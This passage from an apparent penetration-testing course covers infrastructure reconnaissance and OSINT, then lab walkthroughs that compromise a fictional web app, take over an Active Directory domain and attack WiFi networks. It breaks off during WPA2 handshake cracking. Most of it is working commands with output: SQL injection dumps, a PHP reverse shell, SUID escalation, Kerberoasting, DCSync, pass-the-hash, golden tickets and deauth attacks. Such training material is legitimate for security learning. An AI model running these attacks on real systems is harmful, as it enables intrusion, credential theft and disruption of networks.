# Advanced: Map entire company infrastructure # Step 1: IP range identification # Method 1: WHOIS ASN lookup whois -h whois.radb.net -- '-i origin AS12345' # Method 2: BGP looking glass # bgp.he.net/AS12345 # Method 3: SecurityTrails API import requests def get_company_ips(company_name): api_key = "YOUR_API_KEY" url = f"https://api.securitytrails.com/v1/company/{company_name}" headers = {'APIKEY': api_key} response = requests.get(url, headers=headers) data = response.json() for cidr in data['records']: print(f"IP Range: {cidr}") # Step 2: Subdomain enumeration (comprehensive) # Passive sources: # - Certificate Transparency (crt.sh) # - VirusTotal # - SecurityTrails # - DNSDumpster # - Shodan # - Censys # Active brute force: # - Fierce # - Amass # - Subfinder # - Gobuster DNS mode # Combine all results: cat crtsh.txt virustotal.txt securitytrails.txt > all_subdomains.txt sort -u all_subdomains.txt > unique_subdomains.txt # Step 3: Service identification # Scan all IPs + subdomains: nmap -sV -p- -iL targets.txt -oA full_scan # Parse nmap output: import xml.etree.ElementTree as ET def parse_nmap_xml(xml_file): tree = ET.parse(xml_file) root = tree.getroot() for host in root.findall('host'): ip = host.find('address').get('addr') for port in host.findall('.//port'): portid = port.get('portid') service = port.find('service') if service is not None: name = service.get('name') product = service.get('product', '') version = service.get('version', '') print(f"{ip}:{portid} → {name} {product} {version}") # Step 4: Technology identification # Tool: Wappalyzer (CLI) npm install -g wappalyzer # Scan: wappalyzer https://company.com # Output: # WordPress 6.0 # PHP 8.1 # MySQL # Cloudflare # Google Analytics # jQuery 3.6 # Tool: WhatWeb whatweb -a 3 https://company.com # Tool: BuiltWith API import requests def builtwith_lookup(domain): api_key = "YOUR_API_KEY" url = f"https://api.builtwith.com/v20/api.json?KEY={api_key}&LOOKUP={domain}" response = requests.get(url) data = response.json() for tech in data['Results'][0]['Result']['Paths'][0]['Technologies']: print(f"{tech['Name']}: {tech.get('Description', 'N/A')}") # Step 5: Cloud asset discovery # AWS: # - S3 buckets: bucket-name.s3.amazonaws.com # - CloudFront: d123456.cloudfront.net # - API Gateway: abc123.execute-api.us-east-1.amazonaws.com # - Elastic Beanstalk: app-name.us-east-1.elasticbeanstalk.com # Azure: # - Blob storage: storage-name.blob.core.windows.net # - Web apps: app-name.azurewebsites.net # - Databases: server-name.database.windows.net # GCP: # - Cloud Storage: storage.googleapis.com/bucket-name # - App Engine: project-id.appspot.com # - Cloud Functions: region-project-id.cloudfunctions.net # Enumerate S3 buckets: # Tool: s3scanner git clone https://github.com/sa7mon/S3Scanner cd S3Scanner pip3 install -r requirements.txt # Create bucket wordlist: echo "company" > buckets.txt echo "company-prod" >> buckets.txt echo "company-dev" >> buckets.txt echo "company-backup" >> buckets.txt # Scan: python3 s3scanner.py -l buckets.txt # Test bucket permissions: aws s3 ls s3://company-backup --no-sign-request # If accessible: aws s3 sync s3://company-backup . --no-sign-request # Step 6: GitHub reconnaissance # Search code for company references: # GitHub advanced search: # - company.com in:file # - @company.com in:file # - api.company.com in:file # Tool: GitDorker git clone https://github.com/obheda12/GitDorker cd GitDorker pip3 install -r requirements.txt python3 GitDorker.py -tf github_token.txt -d dorks.txt -org CompanyName # Searches for: # - API keys # - Passwords # - AWS credentials # - Database strings # - Internal URLs # Step 7: Certificate analysis # Tool: certgraph git clone https://github.com/lanrat/certgraph cd certgraph go build ./certgraph -s company.com -depth 5 -save company.json # Builds graph of certificate relationships # Discovers: # - Related domains # - Infrastructure connections # - Hidden subdomains # - Sister companies # Step 8: Email infrastructure # MX records: dig company.com MX # SPF record: dig company.com TXT | grep spf # DMARC: dig _dmarc.company.com TXT # DKIM: dig default._domainkey.company.com TXT # Email security check: # Tool: emailrep.io curl "https://emailrep.io/john@company.com" # Output: # - Reputation score # - Known breaches # - Associated domains # - Suspicious activity # Step 9: Network mapping # Traceroute to find network path: traceroute company.com # TCP traceroute (more reliable): sudo traceroute -T company.com # MTR (continuous traceroute): mtr company.com # Identify: # - ISP # - Hosting provider # - Geographic routing # - Network hops # - Potential bottlenecks # Step 10: Mobile app analysis # Android APK: # Download from Google Play Store # Tool: apkpure.com or apkmirror.com # Extract APK: unzip app.apk # Decompile: apktool d app.apk # Search for: # - API endpoints (grep -r "http" .) # - API keys (grep -r "api_key" .) # - Hardcoded credentials # - Internal URLs # iOS IPA: # Requires jailbroken device or tools like frida # Dynamic analysis: # Install app → Intercept traffic with Burp Suite # Complete infrastructure map: # After all reconnaissance, you have: # ✅ IP ranges # ✅ Subdomains (100+) # ✅ Open ports + services # ✅ Technologies used # ✅ Cloud assets (S3, Azure blobs) # ✅ Email infrastructure # ✅ Employee list # ✅ Breach credentials # ✅ GitHub repos + secrets # ✅ Mobile app endpoints # ✅ Network topology # Visualize with mind map: # Tool: MindMeister, XMind, or text-based: """ Company Infrastructure Map: ├── Web Assets │ ├── www.company.com (192.0.2.10) - Nginx 1.21, WordPress 6.0 │ ├── api.company.com (192.0.2.11) - Python/Flask, AWS │ └── admin.company.com (192.0.2.12) - Laravel, MySQL ├── Mail Servers │ ├── mail1.company.com (192.0.2.20) - Postfix │ └── mail2.company.com (192.0.2.21) - Postfix ├── Cloud Assets │ ├── S3: company-backups (public read!) │ └── Azure: company-prod.azurewebsites.net ├── Employees │ ├── john.doe@company.com (LinkedIn, GitHub, Twitter) │ └── jane.smith@company.com (LinkedIn, breached: LinkedIn2012) └── Vulnerabilities ├── Subdomain takeover: dev.company.com ├── Open S3 bucket: company-backups └── Exposed admin panel: admin.company.com (no auth!) 1. Domain enumeration: theHarvester, Recon-ng → Find subdomains, emails
2. Infrastructure mapping: Shodan, Maltego → Map IPs, services, technologies
3. Employee discovery: LinkedIn, Hunter.io → Find names, roles, emails
4. Credential hunting: Breach databases, pastes, Google dorking → Find leaked passwords
5. Vulnerability identification: Shodan (CVEs), exposed services, misconfigurations
6. Attack surface analysis: Combine all data → Identify weakest entry points

OSINT resources:
• OSINT Framework: https://osintframework.com/ (tool catalog)
• IntelTechniques: Michael Bazzell's books and resources
• Bellingcat: Open-source investigation techniques
• HaveIBeenPwned: Breach database (haveibeenpwned.com)
• Dehashed: Search engine for breached databases

OSINT is 50%+ of a pentest. Know your target before attacking! 🔍📊

Complete Practical Attack Labs & Real-World Scenarios

You've learned the tools and techniques across all 11 sections. NOW it's time to put EVERYTHING together! This massive section contains complete end-to-end attack walkthroughs showing exactly how tools combine in real pentests. Each lab is a full scenario from reconnaissance → initial access → privilege escalation → lateral movement → objective completion. Perfect for CTF preparation, certification exams (OSCP, PNPT, eCPPT), and understanding real-world attack chains. Every command explained, every technique demonstrated, every mistake avoided. Let's hack! 🎯

💡 From Theory to Practice

Why complete walkthroughs matter:

Learning individual tools is like knowing how to use a hammer, saw, and screwdriver. But building a house requires knowing WHEN and HOW to use each tool together! These labs teach you:

• Tool chaining: nmap → gobuster → SQL injection → shell → privilege escalation
• Pivot thinking: What to do when initial attack fails? Try another vector!
• Real-world timing: Some exploits take hours to run - plan accordingly
• Evidence preservation: Screenshot everything for your pentest report
• Attack paths: Multiple ways to reach the goal - find the easiest!

Each lab includes:
• Scenario: Target description and objectives
• Reconnaissance: Information gathering phase
• Enumeration: Service-specific deep dives
• Initial Access: Getting that first shell
• Privilege Escalation: Becoming root/SYSTEM
• Lateral Movement: Compromising additional hosts
• Persistence: Maintaining access
• Lessons Learned: Key takeaways and common mistakes

Think of these as your "master class" - watching an expert hacker work through complete engagements! 🎓

Lab 1: Complete Web Application Penetration Test (Beginner-Friendly)

📋 Lab Overview

Target: vulnerable-webapp.htb (fictional)
Goal: Find and exploit vulnerabilities, escalate to admin, read /root/flag.txt
Difficulty: Easy (beginner-friendly)
Skills tested: Recon, subdomain enum, SQL injection, file upload, privilege escalation
Time estimate: 2-4 hours for complete beginner
Tools used: nmap, gobuster, Burp Suite, SQLmap, LinPEAS, GTFOBins

# ================================================== # PHASE 1: RECONNAISSANCE # ================================================== # Step 1: Add to /etc/hosts echo "10.10.10.100 vulnerable-webapp.htb" | sudo tee -a /etc/hosts # Step 2: Initial nmap scan nmap -sC -sV -oA nmap/initial vulnerable-webapp.htb # Output: # PORT STATE SERVICE VERSION # 22/tcp open ssh OpenSSH 8.2p1 Ubuntu # 80/tcp open http Apache/2.4.41 (Ubuntu) # |_http-title: VulnWeb Inc. # Analysis: # ✅ SSH (port 22) → Potential brute force, but usually low priority # ✅ HTTP (port 80) → Main attack surface, start here! # Step 3: Full port scan (while we investigate web) nmap -p- --min-rate 10000 -oA nmap/allports vulnerable-webapp.htb & # Step 4: Subdomain enumeration gobuster vhost -u http://vulnerable-webapp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # Output: # Found: admin.vulnerable-webapp.htb # Found: dev.vulnerable-webapp.htb # Add to /etc/hosts: echo "10.10.10.100 admin.vulnerable-webapp.htb dev.vulnerable-webapp.htb" | sudo tee -a /etc/hosts # ================================================== # PHASE 2: WEB ENUMERATION # ================================================== # Step 5: Browse to main site firefox http://vulnerable-webapp.htb # Observations: # - Company website # - "Products" page # - "Contact Us" form # - "Login" link (leads to admin.vulnerable-webapp.htb) # - Footer: "Powered by CustomCMS 2.3" # Step 6: Technology fingerprinting whatweb http://vulnerable-webapp.htb # Output: # Apache 2.4.41 # PHP 7.4 # jQuery 3.5 # Bootstrap 4 # Step 7: Directory brute force gobuster dir -u http://vulnerable-webapp.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak # Output: # /index.php # /images/ # /css/ # /js/ # /admin/ (301 redirect to admin.vulnerable-webapp.htb) # /uploads/ (403 Forbidden - interesting!) # /backup/ (403 Forbidden - VERY interesting!) # /config.php.bak (200 OK - JACKPOT!) # Step 8: Download interesting file wget http://vulnerable-webapp.htb/config.php.bak # View contents: cat config.php.bak # Found: # # 🎯 Potential win: Database credentials! # ================================================== # PHASE 3: FINDING SQL INJECTION # ================================================== # Step 9: Test products page for SQLi # URL: http://vulnerable-webapp.htb/product.php?id=1 # Manual test: curl "http://vulnerable-webapp.htb/product.php?id=1'" # Output: # MySQL error: You have an error in your SQL syntax... # ✅ SQL injection confirmed! # Step 10: SQLmap enumeration sqlmap -u "http://vulnerable-webapp.htb/product.php?id=1" --dbs # Output: # [*] information_schema # [*] webapp_db # Enumerate webapp_db: sqlmap -u "http://vulnerable-webapp.htb/product.php?id=1" -D webapp_db --tables # Output: # [*] products # [*] users # [*] orders # Dump users table: sqlmap -u "http://vulnerable-webapp.htb/product.php?id=1" -D webapp_db -T users --dump # Output: # +----+----------+----------------------------------+ # | id | username | password | # +----+----------+----------------------------------+ # | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | # | 2 | jsmith | 098f6bcd4621d373cade4e832627b4f6 | # +----+----------+----------------------------------+ # Step 11: Crack hashes echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt echo "098f6bcd4621d373cade4e832627b4f6" >> hashes.txt john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Output: # password (admin) # test (jsmith) # 🎯 Credentials: admin:password # ================================================== # PHASE 4: ADMIN ACCESS & FILE UPLOAD # ================================================== # Step 12: Login to admin panel firefox http://admin.vulnerable-webapp.htb # Login with admin:password → Success! # Observations: # - Dashboard # - User management # - Product management → "Upload Product Image" feature # - File manager # Step 13: Test file upload # Create PHP reverse shell: cp /usr/share/webshells/php/php-reverse-shell.php shell.php # Edit shell.php: # Change IP to your Kali IP: 10.10.14.5 # Change port to: 4444 # Try uploading shell.php → Error: "Only images allowed" # Step 14: Bypass upload filter # Method 1: Double extension mv shell.php shell.php.jpg # Upload → Still blocked # Method 2: Content-Type manipulation # Intercept with Burp Suite # Change Content-Type: from application/x-php to image/jpeg # Upload → Success! # File uploaded to: /uploads/shell.php.jpg # Step 15: Check if PHP executed curl http://vulnerable-webapp.htb/uploads/shell.php.jpg # Output: PHP source code displayed (not executed) # Step 16: Try different extension # Create shell.php5 (alternative PHP extension) cp /usr/share/webshells/php/php-reverse-shell.php shell.php5 # Edit IP/port, upload → Success! # ================================================== # PHASE 5: INITIAL ACCESS (REVERSE SHELL) # ================================================== # Step 17: Start netcat listener nc -lvnp 4444 # Step 18: Trigger shell curl http://vulnerable-webapp.htb/uploads/shell.php5 # 🎯 Shell received! # Connection from 10.10.10.100 # Stabilize shell: python3 -c 'import pty; pty.spawn(\"/bin/bash\")' # Press Ctrl+Z stty raw -echo; fg export TERM=xterm # Now we have a proper interactive shell! # ================================================== # PHASE 6: PRIVILEGE ESCALATION # ================================================== # Step 19: Basic enumeration whoami # www-data id # uid=33(www-data) gid=33(www-data) groups=33(www-data) uname -a # Linux vulnerable-webapp 5.4.0-42-generic #46-Ubuntu ls /home # jsmith # admin cat /etc/passwd | grep bash # root:x:0:0:root:/root:/bin/bash # jsmith:x:1000:1000::/home/jsmith:/bin/bash # admin:x:1001:1001::/home/admin:/bin/bash # Step 20: Check sudo permissions sudo -l # Sorry, user www-data may not run sudo # Step 21: Find SUID binaries find / -perm -4000 -type f 2>/dev/null # Output: # /usr/bin/passwd # /usr/bin/gpasswd # /usr/bin/chsh # /usr/bin/find (INTERESTING!) # /usr/bin/sudo # /bin/mount # /bin/su # Step 22: Check GTFOBins for /usr/bin/find # GTFOBins shows: find can execute commands! # Exploit: find . -exec /bin/bash -p \\; # Result: whoami # root # 🎯 WE ARE ROOT! # ================================================== # PHASE 7: POST-EXPLOITATION # ================================================== # Step 23: Read flags cat /root/flag.txt # HTB{SQL_Inj3ct1on_t0_R00t_Sh3ll_GG!} cat /home/jsmith/user.txt # HTB{u53r_fl4g_g0t!} # Step 24: Persistence (for learning - NOT for real pentests without permission!) # Add SSH key: mkdir /root/.ssh echo "ssh-rsa AAAAB3Nza..." > /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # Now you can SSH as root: ssh root@vulnerable-webapp.htb # ================================================== # LESSONS LEARNED # ================================================== # ✅ Always check for backup files (.bak, .old, ~) # ✅ SQL injection → Often leads to credential disclosure # ✅ File upload filters → Try multiple bypass techniques # ✅ SUID binaries → Always check against GTFOBins # ✅ Stabilize shells immediately for better experience # ✅ Document everything with screenshots for report # Attack path summary: # 1. Found config.php.bak with DB credentials # 2. Discovered SQL injection in product.php # 3. Dumped database → Got admin hash # 4. Cracked hash → admin:password # 5. Logged into admin panel # 6. Uploaded PHP shell via .php5 extension # 7. Got reverse shell as www-data # 8. Found SUID /usr/bin/find binary # 9. Exploited find → Got root # 10. Read flags → Lab complete! # Time taken: ~2 hours for beginner # Difficulty: Easy (good first box!)

Lab 2: Active Directory Penetration Test (Complete Domain Compromise)

📋 Lab Overview

Target: CORP.LOCAL domain (10.10.10.0/24)
Domain Controller: DC01.CORP.LOCAL (10.10.10.10)
Goal: Gain Domain Admin access, dump all credentials
Difficulty: Intermediate
Skills tested: SMB enum, Kerberoasting, lateral movement, Pass-the-Hash, DCSync
Time estimate: 4-6 hours
Tools used: nmap, enum4linux, Impacket, Responder, Bloodhound, Mimikatz, CrackMapExec

# ================================================== # PHASE 1: INITIAL RECONNAISSANCE # ================================================== # Network: 10.10.10.0/24 # Your Kali: 10.10.10.50 # Domain Controller: 10.10.10.10 (DC01.CORP.LOCAL) # File Server: 10.10.10.20 (FS01.CORP.LOCAL) # Workstation: 10.10.10.30 (WS01.CORP.LOCAL) # Step 1: Add to /etc/hosts echo "10.10.10.10 DC01.CORP.LOCAL DC01" | sudo tee -a /etc/hosts echo "10.10.10.20 FS01.CORP.LOCAL FS01" | sudo tee -a /etc/hosts echo "10.10.10.30 WS01.CORP.LOCAL WS01" | sudo tee -a /etc/hosts # Step 2: Network scan nmap -sn 10.10.10.0/24 # Step 3: Detailed scan of discovered hosts nmap -sC -sV -p- -oA nmap/ad_scan 10.10.10.10,10.10.10.20,10.10.10.30 # DC01 (10.10.10.10) ports: # 53/tcp - DNS # 88/tcp - Kerberos # 135/tcp - RPC # 139/tcp - NetBIOS # 389/tcp - LDAP # 445/tcp - SMB # 464/tcp - Kerberos Password Change # 3389/tcp - RDP # → Confirmed Domain Controller! # FS01 (10.10.10.20) ports: # 135/tcp - RPC # 139/tcp - NetBIOS # 445/tcp - SMB # → File server # WS01 (10.10.10.30) ports: # 135/tcp - RPC # 139/tcp - NetBIOS # 445/tcp - SMB # 3389/tcp - RDP # → Workstation # ================================================== # PHASE 2: SMB ENUMERATION (NO CREDENTIALS) # ================================================== # Step 4: Anonymous SMB enumeration smbclient -L //10.10.10.10 -N # Output: # Sharename Type Comment # --------- ---- ------- # ADMIN$ Disk Remote Admin # C$ Disk Default share # IPC$ IPC Remote IPC # NETLOGON Disk Logon server share # SYSVOL Disk Logon server share # Step 5: Try null session smbclient //10.10.10.10/SYSVOL -N # Access denied (expected) # Step 6: Enum4linux enum4linux -a 10.10.10.10 # Output: # Domain: CORP # Domain SID: S-1-5-21-1234567890-1234567890-1234567890 # # Users: # Administrator (RID 500) # Guest (RID 501) # krbtgt (RID 502) # jsmith (RID 1103) # awhite (RID 1104) # bthomas (RID 1105) # sqlservice (RID 1106) # # Password Policy: # Minimum password length: 7 # Password complexity: Enabled # Lockout threshold: None (brute force possible!) # 🎯 User list obtained! # Create users.txt: cat > users.txt < awhite_asrep.hash hashcat -m 18200 awhite_asrep.hash /usr/share/wordlists/rockyou.txt # Output: # Password: Welcome123! # 🎯 First credential: CORP\\awhite:Welcome123! # ================================================== # PHASE 4: AUTHENTICATED ENUMERATION # ================================================== # Step 10: Validate credentials crackmapexec smb 10.10.10.10 -u awhite -p 'Welcome123!' -d CORP.LOCAL # Output: # SMB 10.10.10.10 445 DC01 [+] CORP.LOCAL\\awhite:Welcome123! # Step 11: Enumerate SMB shares with creds smbmap -u awhite -p 'Welcome123!' -d CORP.LOCAL -H 10.10.10.10 # Output: # [+] Finding open SMB ports.... # [+] User SMB session established on 10.10.10.10... # [+] IP: 10.10.10.10:445 Name: DC01.CORP.LOCAL # Disk Permissions # ---- ----------- # ADMIN$ NO ACCESS # C$ NO ACCESS # IPC$ READ ONLY # NETLOGON READ ONLY # SYSVOL READ ONLY # Users READ, WRITE # Step 12: Explore Users share smbclient //10.10.10.10/Users -U 'CORP.LOCAL\\awhite%Welcome123!' # Browse directories: # awhite/ # jsmith/ # bthomas/ # Public/ # Check awhite folder: cd awhite ls # notes.txt get notes.txt cat notes.txt # "Remember: SQLService password is MYpassword123#" # 🎯 Second credential: CORP\\sqlservice:MYpassword123# # ================================================== # PHASE 5: KERBEROASTING # ================================================== # Step 13: Request service tickets (Kerberoasting) impacket-GetUserSPNs CORP.LOCAL/awhite:'Welcome123!' -dc-ip 10.10.10.10 -request # Output: # ServicePrincipalName Name MemberOf PasswordLastSet # -------------------- ---------- -------- --------------- # MSSQLSvc/FS01:1433 sqlservice 2023-01-15 # $krb5tgs$23$*sqlservice$CORP.LOCAL$MSSQLSvc/FS01:1433*$abc123... # Step 14: Crack service ticket echo '$krb5tgs$23$*sqlservice...' > sqlservice.hash hashcat -m 13100 sqlservice.hash /usr/share/wordlists/rockyou.txt # Already have password from notes.txt, but good practice! # ================================================== # PHASE 6: BLOODHOUND ANALYSIS # ================================================== # Step 15: Collect BloodHound data bloodhound-python -u awhite -p 'Welcome123!' -ns 10.10.10.10 -d CORP.LOCAL -c All # Output: # INFO: Found AD domain: corp.local # INFO: Getting TGT for user # INFO: Connecting to LDAP server: DC01.CORP.LOCAL # INFO: Done in 00M 42S # INFO: Compressing output into 20240101120000_bloodhound.zip # Step 16: Start BloodHound sudo neo4j start bloodhound # Upload 20240101120000_bloodhound.zip # Step 17: Analyze attack paths # Query: "Shortest Path to Domain Admins from Owned Principals" # Mark awhite as owned # Path discovered: # awhite (Owned) # → MemberOf → IT_SUPPORT # → GenericAll → jsmith # → MemberOf → DOMAIN ADMINS # Analysis: # 1. awhite is in IT_SUPPORT group # 2. IT_SUPPORT has GenericAll permissions on jsmith user # 3. jsmith is a Domain Admin! # 4. We can change jsmith's password! # ================================================== # PHASE 7: LATERAL MOVEMENT (TARGETED KERBEROASTING) # ================================================== # Step 18: Change jsmith password using GenericAll impacket-changepasswd CORP.LOCAL/jsmith:'NewPassword123!'@10.10.10.10 -newpass 'NewPassword123!' -altuser awhite -altpass 'Welcome123!' # Actually, better approach: Add SPN to jsmith, then Kerberoast # Set SPN on jsmith: impacket-addspn -u CORP.LOCAL\\awhite -p 'Welcome123!' -s 'HTTP/fake' -t jsmith DC01.CORP.LOCAL # Now Kerberoast jsmith: impacket-GetUserSPNs CORP.LOCAL/awhite:'Welcome123!' -dc-ip 10.10.10.10 -request-user jsmith # Output: # $krb5tgs$23$*jsmith...' # Crack: hashcat -m 13100 jsmith.hash rockyou.txt # Output: # Password123! # 🎯 Domain Admin credential: CORP\\jsmith:Password123! # ================================================== # PHASE 8: DOMAIN ADMIN ACCESS # ================================================== # Step 19: Validate Domain Admin access crackmapexec smb 10.10.10.10 -u jsmith -p 'Password123!' -d CORP.LOCAL # Output: # SMB 10.10.10.10 445 DC01 [+] CORP.LOCAL\\jsmith:Password123! (Pwn3d!) # (Pwn3d!) = Local admin access! # Step 20: PSExec as Domain Admin impacket-psexec CORP.LOCAL/jsmith:'Password123!'@10.10.10.10 # Output: # [*] Requesting shares on 10.10.10.10..... # [*] Found writable share ADMIN$ # [*] Uploading file... # [*] Opening SVCManager on 10.10.10.10..... # [*] Starting service... # C:\\Windows\\system32> whoami # corp\\jsmith # C:\\Windows\\system32> net user jsmith /domain # Global Group memberships *Domain Users *Domain Admins # → Domain Admin confirmed! # ================================================== # PHASE 9: CREDENTIAL DUMPING # ================================================== # Step 21: Dump SAM hashes impacket-secretsdump CORP.LOCAL/jsmith:'Password123!'@10.10.10.10 # Output: # [*] Service RemoteRegistry is in stopped state # [*] Starting service RemoteRegistry # [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) # Administrator:500:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6::: # Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # krbtgt:502:aad3b435b51404eeaad3b435b51404ee:x1y2z3a4b5c6d7e8f9g0h1i2j3k4l5m6::: # CORP.LOCAL\\awhite:1103:aad3b435b51404eeaad3b435b51404ee:n1o2p3q4r5s6t7u8v9w0x1y2z3a4b5c6::: # CORP.LOCAL\\jsmith:1104:aad3b435b51404eeaad3b435b51404ee:m1n2o3p4q5r6s7t8u9v0w1x2y3z4a5b6::: # 🎯 All domain hashes dumped! # Step 22: DCSync attack (alternative method) impacket-secretsdump -just-dc CORP.LOCAL/jsmith:'Password123!'@10.10.10.10 # Step 23: Pass-the-Hash (no password needed!) crackmapexec smb 10.10.10.0/24 -u Administrator -H 'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6' # Output: # SMB 10.10.10.10 445 DC01 [+] CORP.LOCAL\\Administrator (Pwn3d!) # SMB 10.10.10.20 445 FS01 [+] CORP.LOCAL\\Administrator (Pwn3d!) # SMB 10.10.10.30 445 WS01 [+] CORP.LOCAL\\Administrator (Pwn3d!) # 🎯 FULL DOMAIN COMPROMISE! # ================================================== # PHASE 10: PERSISTENCE (GOLDEN TICKET) # ================================================== # Step 24: Create Golden Ticket # Need: # - Domain SID: S-1-5-21-1234567890-1234567890-1234567890 # - krbtgt hash: x1y2z3a4b5c6d7e8f9g0h1i2j3k4l5m6 impacket-ticketer -nthash x1y2z3a4b5c6d7e8f9g0h1i2j3k4l5m6 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain CORP.LOCAL Administrator # Output: # [*] Creating basic skeleton ticket and PAC Infos # [*] Customizing ticket for CORP.LOCAL/Administrator # [*] Saving ticket in Administrator.ccache # Use Golden Ticket: export KRB5CCNAME=Administrator.ccache impacket-psexec CORP.LOCAL/Administrator@DC01.CORP.LOCAL -k -no-pass # 🎯 Access to DC with forged ticket (valid for 10 years!) # ================================================== # LESSONS LEARNED # ================================================== # ✅ Start with anonymous enumeration (enum4linux, Kerbrute) # ✅ AS-REP Roasting → Often finds service accounts with weak passwords # ✅ Always read SMB shares for interesting files # ✅ BloodHound → Shows attack paths you wouldn't find manually # ✅ Kerberoasting → Service accounts often have passwords in wordlists # ✅ GenericAll/WriteDACL permissions → Powerful for lateral movement # ✅ Pass-the-Hash → Don't need plaintext passwords! # ✅ Golden Ticket → Ultimate persistence (but also ultimate red flag!) # Attack path summary: # 1. Enum4linux → Found usernames # 2. AS-REP Roasting → Got awhite password # 3. SMB enumeration → Found sqlservice password in notes.txt # 4. BloodHound → Discovered awhite → jsmith attack path # 5. Targeted Kerberoasting → Cracked jsmith (Domain Admin) # 6. PSExec → Got shell on DC # 7. SecretsDump → Dumped all domain credentials # 8. Pass-the-Hash → Compromised all hosts # 9. Golden Ticket → Established persistence # Time taken: ~5 hours # Difficulty: Intermediate (realistic AD environment!)

Lab 3: Complete Wireless Attack Chain (WEP → WPA2 → WPA3)

📋 Lab Overview

Targets: Three WiFi networks with different security
Goal: Crack all three networks, understand weaknesses
Difficulty: Beginner to Intermediate
Skills tested: WiFi fundamentals, packet capture, WEP/WPA/WPA3 attacks
Time estimate: 3-5 hours (WEP fast, WPA2 depends on password)
Tools used: aircrack-ng suite, Wireshark, hcxdumptool, hashcat
Requirements: WiFi adapter with monitor mode + injection support

# ================================================== # SETUP: WiFi ADAPTER CONFIGURATION # ================================================== # Step 1: Verify WiFi adapter iwconfig # Output: # wlan0 IEEE 802.11 ESSID:off/any # Mode:Managed Access Point: Not-Associated # Check chipset: lsusb | grep -i wireless # Or: airmon-ng # Output: # PHY Interface Driver Chipset # phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 # ✅ Atheros AR9271 → Excellent for hacking! # ================================================== # NETWORK 1: WEP ATTACK (ANCIENT, BROKEN) # ================================================== # Target: "CoffeeShop_FREE" (WEP encryption) # Reality: Still found in old routers, IoT devices # Step 2: Enable monitor mode sudo airmon-ng start wlan0 # Output: # PHY Interface Driver Chipset # phy0 wlan0mon ath9k_htc Atheros Communications, Inc. AR9271 # (monitor mode enabled on wlan0mon) # Step 3: Scan for networks sudo airodump-ng wlan0mon # Output: # BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID # A1:B2:C3:D4:E5:F6 -35 24 15 2 6 54e. WEP WEP CoffeeShop_FREE # A2:B3:C4:D5:E6:F7 -48 18 0 0 11 54e WPA2 CCMP PSK MyHomeWiFi # A3:B4:C5:D6:E7:F8 -52 12 2 0 1 54e WPA3 CCMP SAE SecureNetwork # Target identified: # BSSID: A1:B2:C3:D4:E5:F6 # Channel: 6 # ESSID: CoffeeShop_FREE # Encryption: WEP # Step 4: Capture packets from target sudo airodump-ng -c 6 --bssid A1:B2:C3:D4:E5:F6 -w wep_capture wlan0mon # Output: # CH 6 ][ Elapsed: 2 mins ] # BSSID PWR Beacons #Data #/s CH MB ENC # A1:B2:C3:D4:E5:F6 -35 240 315 3 6 54e. WEP # # BSSID STATION PWR Rate Lost Packets # A1:B2:C3:D4:E5:F6 B1:C2:D3:E4:F5:A6 -42 54e-54e 0 128 # Keep this running! Need 40,000-85,000 IVs (initialization vectors) # For WEP: More packets = faster crack # Step 5: Speed up process with packet injection (new terminal) sudo aireplay-ng -3 -b A1:B2:C3:D4:E5:F6 -h B1:C2:D3:E4:F5:A6 wlan0mon # -3: ARP request replay attack # -b: Target BSSID # -h: Client MAC (from airodump) # Output: # Saving ARP requests in replay_arp-0101-120000.cap # You should also start airodump-ng to capture replies. # Read 2435 packets... # Size: 312, FromDS: 1, ToDS: 0 # BSSID = A1:B2:C3:D4:E5:F6 # Source MAC = B1:C2:D3:E4:F5:A6 # Sending 615 packets per second... # Watch airodump-ng window: # #Data column increasing rapidly! # 5,000 → 10,000 → 25,000 → 50,000 packets # Step 6: Crack WEP (after ~40,000 IVs) sudo aircrack-ng wep_capture-01.cap # Output: # Opening wep_capture-01.cap # Attack will be restarted every 5000 captured ivs. # # Aircrack-ng 1.6 # # [00:02:15] Tested 1834562 keys (got 47328 IVs) # # KB depth byte(vote) # 0 0/ 1 5A(47104) 2F(46080) 8E(45824) ... # 1 0/ 1 3C(47360) A1(46336) 2D(45568) ... # # KEY FOUND! [ 5A:3C:8F:21:D4:9B:E7:A2:1F:C3:4D ] # Decrypted correctly: 100% # 🎯 WEP cracked in ~2 minutes! # Step 7: Connect to WEP network # Convert hex key to ASCII: echo "5A3C8F21D49BE7A21FC34D" | xxd -r -p # Or just use hex directly sudo nmcli device wifi connect "CoffeeShop_FREE" password "5A:3C:8F:21:D4:9B:E7:A2:1F:C3:4D" # Connected! Free coffee shop internet 😅 # ================================================== # NETWORK 2: WPA2-PSK ATTACK (HANDSHAKE CAPTURE) # ================================================== # Target: "MyHomeWiFi" (WPA2-PSK/CCMP) # Modern standard, but vulnerable to dictionary attacks # Step 8: Capture WPA2 handshake sudo airodump-ng -c 11 --bssid A2:B3:C4:D5:E6:F7 -w wpa2_capture wlan0mon # Output shows one client connected: # STATION: C1:D2:E3:F4:A5:B6 # Need to capture 4-way handshake: # Occurs when client connects to AP # Options: # a) Wait for natural connection (slow) # b) Force deauthentication (fast) # Step 9: Deauth attack (force handshake) # New terminal: sudo aireplay-ng -0 5 -a A2:B3:C4:D5:E6:F7 -c C1:D2:E3:F4:A5:B6 wlan0mon # -0: Deauth attack # 5: Send 5 deauth packets # -a: AP BSSID # -c: Client MAC # Output: # 12:45:23 Waiting for beacon frame (BSSID: A2:B3:C4:D5:E6:F7) on channel 11 # 12:45:24 Sending 64 directed DeAuth... # 12:45:24 Sending 64 directed DeAuth... # Watch airodump-ng terminal: # Top right corner shows: # [ WPA handshake: A2:B3:C4:D5:E6:F7 ] # 🎯 Handshake captured! # Step 10: Verify handshake sudo aircrack-ng wpa2_capture-01.cap # Output: # Opening wpa2_capture-01.cap # 